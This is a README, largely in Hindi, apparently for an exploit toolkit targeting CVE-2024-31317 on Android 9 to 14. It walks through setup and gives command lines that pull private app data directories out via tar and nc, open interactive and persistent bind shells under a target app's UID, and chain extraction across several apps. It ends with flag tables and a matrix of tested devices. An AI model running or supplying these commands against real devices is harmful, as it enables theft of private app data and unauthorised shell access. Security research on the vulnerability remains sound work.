
यह एक टूलकिट है जो CVE-2024-31317 का उपयोग करके ADB के माध्यम से निजी ऐप डेटा निकालता है या किसी ऐप के UID के साथ एक शेल स्पॉन करता है।
यह एक टूलकिट है जो CVE-2024-31317 का उपयोग करके ADB के माध्यम से निजी ऐप डेटा निकालता है या किसी ऐप के UID के साथ शेल चलाता है। यह भेद्यता एंड्रॉइड संस्करण 9 से 14 को प्रभावित करती है जो सुरक्षा पैच स्तर 2024-06-01 या उससे कम पर चल रहे हैं। परीक्षण किए गए उपकरणों का समर्थन मैट्रिक्स नीचे दिया गया है।
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
export पंक्तियों को स्थायित्व के लिए ~/.bashrc (या समकक्ष) में जोड़ें।
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
एक्सप्लॉइट पहले रन पर Hijack.java और AndroidManifest.xml से सब कुछ बनाता है।
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
सब कुछ रनटाइम पर स्रोत से बनता है। बिल्ड पाइपलाइन Android SDK से javac (JDK 17+), d8, aapt, zipalign, और apksigner का उपयोग करती है।
यदि उपकरण में पासकोड है, तो यह BFU (Before First Unlock) शुरू करता है। एक्सप्लॉइट आपके अनलॉक करने तक 5 मिनट तक sys.user.0.ce_available को पोल करता है। एक्सप्लॉइट की अवधि के लिए पासकोड हटाने की सिफारिश की जाती है।
† Samsung One UI विशिष्ट: ZNJECT इंजेक्शन सफल होता है और -E निष्कर्षण काम करता है, लेकिन toybox nc ServerSocket बाइंड शेल कभी नहीं खुलता। समस्या के मूल कारण का पता लगाने के लिए और शोध की आवश्यकता है।
पेलोड hidden_api_blacklist_exemptions में रहता है जो अगले बूट पर बूट लूप का कारण बन सकता है। रीसेट करने के लिए --recover चलाएँ:
python3 cve_2024_31317.py -d DEVICE --recover
| फ़्लैग | विवरण |
|---|
-E | ग्रैंडचाइल्ड tar | nc के माध्यम से ऐप डेटा निकालें (मूल प्रक्रिया के मारे जाने पर भी जीवित रहता है) |
-i | इंटरैक्टिव बाइंड शेल REPL |
-S PORT | स्थायी शेल (FIFO एकल-पोर्ट प्रोटोकॉल) |
--recover | सेटिंग रीसेट करें, बूट हैंग / Zygote डिग्रेडेशन ठीक करें |
--setup | केवल कैरियर APK बनाएं + इंस्टॉल करें (कोई इंजेक्शन नहीं) |
--list-apps | UID और sys/user प्रकार के साथ सभी इंस्टॉल किए गए पैकेज सूचीबद्ध करें |
--check-vuln | जांचें कि क्या उपकरण CVE-2024-31317 के प्रति संवेदनशील है और बाहर निकलें |
| फ़्लैग | विवरण |
|---|
-o file.tar | निष्कर्षण टारबॉल के लिए आउटपुट पथ |
-y / --yes | पुष्टिकरण संकेतों को छोड़ें |
--retries N | प्रति लक्ष्य अधिकतम पुनः प्रयास (डिफ़ॉल्ट 3) |
--chain-targets "pkg1,pkg2" | एक सत्र में कई ऐप निकालें |
--chain-file file.json | ऊपर जैसा, JSON फ़ाइल से |
--reboot-after | निष्कर्षण के बाद रीबूट करें (Zygote को पुनर्स्थापित करता है) |
--reboot-every N | हर N चेन लक्ष्यों के बाद रीबूट करें |
--cold | वार्म-अप छोड़ें; अगले ऐप लॉन्च के लिए पेलोड संग्रहीत करें |
--port PORT | बाइंड शेल पोर्ट (डिफ़ॉल्ट 8888) |
-d SERIAL | विशिष्ट उपकरण को लक्षित करें (कई कनेक्टेड) |
--rebuild | कैरियर APK को पुनर्निर्माण के लिए बाध्य करें |
| उपकरण | एंड्रॉइड | API | पैच | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | स्कोर |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |